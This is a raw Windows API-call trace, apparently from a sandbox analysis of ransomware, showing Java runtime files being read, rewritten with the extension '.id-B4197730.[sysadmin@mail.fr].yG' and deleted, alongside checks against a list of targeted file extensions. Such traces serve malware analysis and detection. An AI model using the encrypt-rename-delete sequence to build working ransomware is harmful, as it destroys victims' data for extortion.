	[0141.144] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0141.144] lstrlenW (lpString=".jpg") returned 4
	[0141.144] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.144] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.144] lstrlenW (lpString="messages_es.properties") returned 22
	[0141.144] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.183] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=3600) returned 1
	[0141.183] CloseHandle (hObject=0x494) returned 1
	[0141.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20
	[0141.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.191] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.191] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.191] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0141.193] GetLastError () returned 0x0
	[0141.193] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xe10, lpOverlapped=0x0) returned 1
	[0141.203] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xe20, lpOverlapped=0x0) returned 1
	[0141.204] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.204] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.204] SetEndOfFile (hFile=0x48c) returned 1
	[0141.204] CloseHandle (hObject=0x48c) returned 1
	[0141.204] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.204] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.207] CloseHandle (hObject=0x4a0) returned 1
	[0141.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.208] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1
	[0141.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.209] lstrlenW (lpString=".doc") returned 4
	[0141.209] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.209] lstrlenW (lpString=".docx") returned 5
	[0141.209] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.209] lstrlenW (lpString=".pdf") returned 4
	[0141.209] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.209] lstrlenW (lpString=".xls") returned 4
	[0141.209] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.209] lstrlenW (lpString=".xlsx") returned 5
	[0141.209] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.209] lstrlenW (lpString=".ppt") returned 4
	[0141.209] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString=".zip") returned 4
	[0141.210] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString=".rar") returned 4
	[0141.210] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString=".bz2") returned 4
	[0141.210] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString=".7z") returned 3
	[0141.210] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString=".dbf") returned 4
	[0141.210] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString=".1cd") returned 4
	[0141.210] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString=".jpg") returned 4
	[0141.210] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.210] lstrlenW (lpString=".doc") returned 4
	[0141.210] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.210] lstrlenW (lpString=".docx") returned 5
	[0141.210] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.210] lstrlenW (lpString=".pdf") returned 4
	[0141.210] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString=".xls") returned 4
	[0141.211] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString=".xlsx") returned 5
	[0141.211] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.211] lstrlenW (lpString=".ppt") returned 4
	[0141.211] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.211] lstrlenW (lpString=".zip") returned 4
	[0141.211] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString=".rar") returned 4
	[0141.211] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString=".bz2") returned 4
	[0141.211] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString=".7z") returned 3
	[0141.211] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.211] lstrlenW (lpString=".dbf") returned 4
	[0141.211] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.211] lstrlenW (lpString=".1cd") returned 4
	[0141.211] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68
	[0141.211] lstrlenW (lpString=".jpg") returned 4
	[0141.211] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.212] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.212] lstrlenW (lpString="messages_fr.properties") returned 22
	[0141.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.212] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=3409) returned 1
	[0141.212] CloseHandle (hObject=0x4a0) returned 1
	[0141.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20
	[0141.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.213] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.213] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0141.214] GetLastError () returned 0x0
	[0141.214] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xd51, lpOverlapped=0x0) returned 1
	[0141.218] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xd60, lpOverlapped=0x0) returned 1
	[0141.219] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.219] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.219] SetEndOfFile (hFile=0x48c) returned 1
	[0141.219] CloseHandle (hObject=0x48c) returned 1
	[0141.219] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.219] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.258] CloseHandle (hObject=0x4a0) returned 1
	[0141.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.259] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1
	[0141.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.259] lstrlenW (lpString=".doc") returned 4
	[0141.259] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.259] lstrlenW (lpString=".docx") returned 5
	[0141.260] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.260] lstrlenW (lpString=".pdf") returned 4
	[0141.260] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString=".xls") returned 4
	[0141.260] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString=".xlsx") returned 5
	[0141.260] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.260] lstrlenW (lpString=".ppt") returned 4
	[0141.260] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.260] lstrlenW (lpString=".zip") returned 4
	[0141.260] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString=".rar") returned 4
	[0141.260] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString=".bz2") returned 4
	[0141.260] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.260] lstrlenW (lpString=".7z") returned 3
	[0141.260] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.261] lstrlenW (lpString=".dbf") returned 4
	[0141.261] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.261] lstrlenW (lpString=".1cd") returned 4
	[0141.261] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.261] lstrlenW (lpString=".jpg") returned 4
	[0141.261] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.261] lstrlenW (lpString=".doc") returned 4
	[0141.261] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.261] lstrlenW (lpString=".docx") returned 5
	[0141.261] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.261] lstrlenW (lpString=".pdf") returned 4
	[0141.261] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.261] lstrlenW (lpString=".xls") returned 4
	[0141.262] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.262] lstrlenW (lpString=".xlsx") returned 5
	[0141.262] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.262] lstrlenW (lpString=".ppt") returned 4
	[0141.262] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.262] lstrlenW (lpString=".zip") returned 4
	[0141.262] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.262] lstrlenW (lpString=".rar") returned 4
	[0141.262] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.262] lstrlenW (lpString=".bz2") returned 4
	[0141.262] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.262] lstrlenW (lpString=".7z") returned 3
	[0141.262] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.262] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.262] lstrlenW (lpString=".dbf") returned 4
	[0141.262] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.263] lstrlenW (lpString=".1cd") returned 4
	[0141.263] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68
	[0141.263] lstrlenW (lpString=".jpg") returned 4
	[0141.263] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.263] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.263] lstrlenW (lpString="messages_it.properties") returned 22
	[0141.263] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.264] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=3223) returned 1
	[0141.264] CloseHandle (hObject=0x4a0) returned 1
	[0141.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20
	[0141.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0141.265] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.265] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0141.266] GetLastError () returned 0x0
	[0141.266] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0xc97, lpOverlapped=0x0) returned 1
	[0141.276] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xca0, lpOverlapped=0x0) returned 1
	[0141.277] ReadFile (in: hFile=0x4a0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.277] WriteFile (in: hFile=0x48c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.277] SetEndOfFile (hFile=0x48c) returned 1
	[0141.278] CloseHandle (hObject=0x48c) returned 1
	[0141.278] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.278] SetEndOfFile (hFile=0x4a0) returned 1
	[0141.282] CloseHandle (hObject=0x4a0) returned 1
	[0141.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.283] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1
	[0141.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.283] lstrlenW (lpString=".doc") returned 4
	[0141.284] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString=".docx") returned 5
	[0141.284] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.284] lstrlenW (lpString=".pdf") returned 4
	[0141.284] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString=".xls") returned 4
	[0141.284] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString=".xlsx") returned 5
	[0141.284] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.284] lstrlenW (lpString=".ppt") returned 4
	[0141.284] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.284] lstrlenW (lpString=".zip") returned 4
	[0141.284] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString=".rar") returned 4
	[0141.284] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.284] lstrlenW (lpString=".bz2") returned 4
	[0141.285] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.285] lstrlenW (lpString=".7z") returned 3
	[0141.285] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.285] lstrlenW (lpString=".dbf") returned 4
	[0141.285] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.285] lstrlenW (lpString=".1cd") returned 4
	[0141.285] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.285] lstrlenW (lpString=".jpg") returned 4
	[0141.285] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.285] lstrlenW (lpString=".doc") returned 4
	[0141.285] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.285] lstrlenW (lpString=".docx") returned 5
	[0141.286] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.286] lstrlenW (lpString=".pdf") returned 4
	[0141.286] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.286] lstrlenW (lpString=".xls") returned 4
	[0141.286] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.286] lstrlenW (lpString=".xlsx") returned 5
	[0141.286] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.286] lstrlenW (lpString=".ppt") returned 4
	[0141.286] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.287] lstrlenW (lpString=".zip") returned 4
	[0141.287] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.287] lstrlenW (lpString=".rar") returned 4
	[0141.287] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.287] lstrlenW (lpString=".bz2") returned 4
	[0141.287] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.287] lstrlenW (lpString=".7z") returned 3
	[0141.287] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.287] lstrlenW (lpString=".dbf") returned 4
	[0141.287] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.287] lstrlenW (lpString=".1cd") returned 4
	[0141.287] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68
	[0141.287] lstrlenW (lpString=".jpg") returned 4
	[0141.288] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.288] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.288] lstrlenW (lpString="messages_ja.properties") returned 22
